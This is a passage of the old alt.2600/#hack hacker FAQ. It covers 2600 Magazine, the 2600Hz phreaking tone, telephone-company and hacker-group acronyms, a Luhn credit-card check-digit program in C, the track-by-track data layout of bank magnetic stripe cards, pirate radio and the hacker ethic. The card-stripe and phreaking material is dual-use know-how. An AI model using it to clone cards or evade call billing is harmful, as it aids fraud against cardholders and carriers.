=-=-=-=-=-=-=-=-=-=-=-=-= Section F -- 2600 -=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= F-01. What is alt.2600? Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600 Magazine, the hacker quarterly. It is NOT for the Atari 2600 game machine. Len@netsys.com created the group on Emmanuel Goldstein's recommendation. Emmanuel is the editor/publisher of 2600 Magazine. Following the barrage of postings about the Atari machine to alt.2600, an alt.atari.2600 was created to divert all of the atari traffic from alt.2600. Atari 2600 people are advised to hie over to rec.games.video.classic. --------------------------------------------------------------------------- [F-01b. Where is the alt.2600 Web site? At http://www.jssquires.freeserve.co.uk and http://www.fictitious.net/alt2600. H.] --------------------------------------------------------------------------- F-02. What does "2600" mean? 2600Hz was a tone that was used by early phone phreaks (or phreakers) in the 80's, and some currently. If the tone was sent down the line at the proper time, one could get away with all sorts of fun stuff. A note from Emmanuel Goldstein: "The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600 hertz tone. The 2600 hertz tone was simply the first step towards exploring the network. If you were successful at getting a toll call to drop, then billing would stop at that point but there would be billing for the number already dialed up until the point of seizure. 800 numbers and long distance information were both free in the past and records of who called what were either non-existent or very obscure with regards to these numbers. This, naturally, made them more popular than numbers that showed up on a bill, even if it was only for a minute. Today, many 800 numbers go overseas, which provides a quick and free way into another country's phone system which may be more open for exploration." --------------------------------------------------------------------------- F-03. Are there on-line versions of 2600 available? No. --------------------------------------------------------------------------- F-04. I can't find 2600 at any bookstores. What can I do? Subscribe. Or, let 2600 know via the subscription address that you think 2600 should be in the bookstore. Be sure to include the bookstores name and address. --------------------------------------------------------------------------- F-05. Why does 2600 cost more to subscribe to than to buy at a newsstand? A note from Emmanuel Goldstein: We've been selling 2600 at the same newsstand price ($4) since 1988 and we hope to keep it at that price for as long as we can get away with it. At the same time, $21 is about the right price to cover subscriber costs, including postage and record keeping, etc. People who subscribe don't have to worry about finding an issue someplace, they tend to get issues several weeks before the newsstands get them, and they can take out free ads in the 2600 Marketplace. This is not uncommon in the publishing industry. The NY Times, for example, costs $156.50 at the newsstands, and $234.75 delivered to your door. Editors Note: The newstand price is now $4.50. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-= Section G -- Miscellaneous =-=-=-=-=-=-=-=-=-= =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= G-01. What does XXX stand for? TLA Three Letter Acronym ACL Access Control List PIN Personal Identification Number TCB Trusted Computing Base ALRU Automatic Line Record Update AN Associated Number ARSB Automated Repair Service Bureau ATH Abbreviated Trouble History BOC Bell Operating Company BOR Basic Output Report BOSS Business Office Servicing System CA Cable COE Central Office Equipment COSMOS Computer System for Main Frame Operations CMC Construction Maintenance Center CNID Calling Number IDentification CO Central Office COCOT Customer Owned Coin Operated Telephone CRSAB Centralized Repair Service Answering Bureau DID Direct Inbound Dialing DDD Direct Distance Dialing ECC Enter Cable Change LD Long Distance LMOS Loop Maintenance Operations System MLT Mechanized Loop Testing NPA Numbering Plan Area PBX Private Branch Exchange POTS Plain Old Telephone Service RBOC Regional Bell Operating Company RSB Repair Service Bureau SS Special Service TAS Telephone Answering Service TH Trouble History TREAT Trouble Report Evaluation and Analysis Tool LOD Legion of Doom HFC Hell Fire Club TNO The New Order ACiD Ansi Creators in Demand CCi Cybercrime International FLT Fairlight iCE Insane Creators Enterprise iNC International Network of Crackers NTA The Nocturnal Trading Alliance PDX Paradox PE Public Enemy PSY Psychose QTX Quartex RZR Razor (1911) S!P Supr!se Productions TDT The Dream Team THG The Humble Guys THP The Hill People TRSI Tristar Red Sector Inc. UUDW Union of United Death Workers --------------------------------------------------------------------------- G-02. How do I determine if I have a valid credit card number? [Note from Markus McKenna: "I tried the credit card algorithm on one of my credit card numbers... it's out of date." H.] Credit cards use the Luhn Check Digit Algorithm. The main purpose of this algorithm is to catch data entry errors, but it does double duty here as a weak security tool. For a card with an even number of digits, double every odd numbered digit (1st digit, 3rd digit, 5th digit, etc...) and subtract 9 if the product is greater than 9. Add up all the even digits (2nd digit, 4th digit, 6th digit, etc...) as well as the doubled-odd digits, and the result must be a multiple of 10 or it's not a valid card. If the card has an odd number of digits, perform the same addition doubling the even numbered digits instead. [Note from Dan Mellem: This really needs an example; it reads like all the odds should be handled first. E.g.: * * * * * * * * 1234 9876 0000 0008 2264 9856 0000 0008; sum = 50 H.] This program, presented in C source code form, will perform this math for you. Feed it all but the last digit of your credit card number, and it will give you the last digit. If it gives you a last digit different from the one you have, you have an invalid credit card number. #include /* * Return last digit of a bank card (e.g. credit card) * Receives all the digits, but the last one as input * By Diomidis Spinellis */ int bank (u) char *u; { register i, s = 0; int l, t; l = strlen(u); for(i = 0; i < l ; i++) { t = (u[l - i - 1] - '0') * (1 + ((i + 1) % 2)); s += t < 10 ? t : t - 9; } return 10 - s % 10; } void main (argc, argv) int argc; char **argv; { while (--argc) printf ("%d\n", bank (*++argv)); } --------------------------------------------------------------------------- G-03. What is the layout of data on magnetic stripe cards? This FAQ answer was written largely with information supplied by wea$el: Data is laid out on a standard magnetic car in three tracks. A card may have any of these tracks, or a combination of these tracks. Track 1 was the first track standardized. It was developed by the International Air Transportation Association (IATA) and is still reserved for their use. It is 210bpi with room for 79 7-bit characters. Track 1 is encoded with a 7-bit scheme (6 data bits plus one parity bit) that's based on ASCII. If your reader does not perform the ASCII conversion, all you have to do is add 0x20 to each byte to turn it into ASCII (there are no "control" characters). The seventh bit is an odd parity bit at the end of each byte. Track 1 Fields .-----------------------------------------------------------------------. | Start sentinel | 1 byte (the % character) | | | | | Format code | 1 byte alpha (The standard for financial | | | institutions specifies format code is "B") | | | | | Primary Account | Up to 19 characters. American Express inserts] | | number | space characters in here in the same places the | | | digits are broken up on the face of your card. | | | | | Separator | 1 byte (the ^ character) | | | | | Country code | 3 bytes, if used. (The United States is 840) | | | This is only used if the account number begins | | | with "59." | | | | | Surname | | | | | | Surname | (the / character) | | separator | | | | | | First name | | | or initial | | | | | | Space | (when followed by more data) | | | | | Middle name | | | or initial | | | | | | Period | (when followed by a title) | | | | | Title | (when used) | | | | | Separator | 1 byte (^) | | | | | Expiration date | 4 bytes (YYMM) or the one byte separator if a | | or separator | non-expiring card. | | | | | Discretionary | Optional data can be encoded here by the issuer. | | data | | | | | | End Sentinel | 1 byte (the ? character) | | | | | Longitudinal | 1 byte. The LRC is made up of parity bits for | | Redundancy | each "row" of bytes, making the total even. That | | Check (LRC) | means that the total of all the bit 1s of each | | | byte has to come out to an even number. Same for | | | bit 2, etc. The LRC's parity bit is not the sum | | | of the parity bits of the message, but only the | | | parity bit for the LRC character itself. (It's | | | odd, just like any other single byte's parity | | | bit.) | `-----------------------------------------------------------------------' Track 2 was developed by the American Bankers Association (ABA) for on-line financial transactions. It is 75bpi with room for 40 5-bit numeric characters. Track 2 is encoded with a 5-bit scheme (4 data bits plus one parity bit.) To convert this data into ASCII, add 0x30 to each byte. Track 1 Fields .-----------------------------------------------------------------------. | Start sentinel | 1 byte (0x0B, or a ; in ASCII) | | | | | Primary Account | Up to 19 bytes | | number | | | | | | Separator | 1 byte (0x0D, or an = in ASCII) | | | | | Country code | 3 bytes, if used. (The United States is 840) | | | This is only used if the account number begins | | | with "59." | | | | | Expiration date | 4 bytes (YYMM) or the one byte separator if a | | or separator | non-expiring card | | | | | Discretionary | Optional data can be encoded here by the issuer. | | data | | | | | | End Sentinel | 1 byte (0x0F, or a ? in ASCII) | | | | | Longitudinal | 1 byte. | | Redundancy | | | Check (LRC) | | `-----------------------------------------------------------------------' Track 3 is also used for financial transactions. The difference is its read/write ability. It is 210bpi with room for 107 numeric digits. Track 3 is used to store the enciphered PIN, country code, currency units, amount authorized, subsidiary account information, and other account restrictions. Track 3 has the same properties as track 1 (start and end sentinels and an LRC byte), except that there is no standard for the data content or format. Track 3 is not currently used by any national bank card issuer. In those rare systems where the PIN is stored on the card, this is the track where it is stored. For more information of this topic, read the ANSI/ISO 7811/1-5 standard. This document is available from the American Bankers Association. Other standards documents covering related topics include: ANSI X3.92 Data Encryption Algorithm (DEA) ANSI X3.106 Modems of DEA Operation ANSI X4.16 American National Standard for financial services, financial transaction cards, magnetic stripe encoding ANSI X9.8 Personal Identification Number (PIN) Management and Security ANSI X9.19 Financial Institution Retail Message Authentication (MAC) ISO 7810 ISO 7811 ISO 7812 ISO 8583 Bank card originated messages Interchange message specifications Content for financial transactions. ISO 8731-1 Banking: Approved algorithms for message authentication Part 1 - DEA Part 2 - Message Authentication algorithms ISO 7816 Identification cards, Integrated circuit(s) with contacts Part 1 - Physical Characteristics Part 2 - Dimensions and locations of the contacts Part 3 - Electronic signals and transmission protocols --------------------------------------------------------------------------- G-04. What is pirate radio? Pirate radio is broadcasting outside of the rules laid down by the Federal Communications Commission (FCC). Pirate radio usually occurs on the FM band because that is where the most receivers are. Under Part 15 of the FCC rules, you can legally broadcast on the FM band if you broadcast using less that 100 milliwatts of output power and and antenna less than 3' long. By contrast, commercial FM broadcasters are required to broadcast using at least 100 watts of output power. 100 milliwatts will give your signal an effective range of less than one mile. You can build the gear needed to transmit pirate radio or you can buy much of what you need from Radio Free Berkeley. An entire broadcasting system can be put together for well under $1,000. For more information, check out Radio Free Berkeley at http://www.freeradio.org. --------------------------------------------------------------------------- G-05. What are the ethics of hacking? An excerpt from: Hackers: Heroes of the Computer Revolution by Steven Levy Access to computers -- and anything which might teach you something about the way the world works -- should be unlimited and total. Always yield to the Hands-On imperative. All information should be free. Mistrust Authority. Promote Decentralization. Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race, or position. You can create art and beauty on a computer. Computers can change your life for the better. --------------------------------------------------------------------------- G-06. Why did you write this FAQ? Hacking is an interest of mine. Years ago, I would often communicate on IRC with other people who were also interested in hacking and we would discuss the topics covered in this FAQ. Over time, I grew tired of having the same discussions again and again. I wrote down these questions and answers with the hope that I would never again have to explain the basics of hacking and that our conversation would move on to more advanced and interesting topics. In the beginning, this was the #hack FAQ. Later, Tomes suggested that we adopt it as the alt.2600 FAQ also. I have enjoyed writing this FAQ, and I hope you enjoy it also. --------------------------------------------------------------------------- G-07. Where can I get a copy of the alt.2600/#hack FAQ? Get it on FTP at: rahul.net /pub/lps/sysadmin/ rtfm.mit.edu /pub/usenet-by-group/alt.2600 ftp.primenet.com /users/c/cracked/hacking/2600faq.zip Get it on the World Wide Web at: http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq http://www-personal.engin.umich.edu/~jgotts/underground/hack-faq.tar.gz [and the HTMLised, bookmarked version on the alt.2600 Web site at http://www.jssquires.freeserve.co.uk and http://www.fictitious.net/alt2600. H.]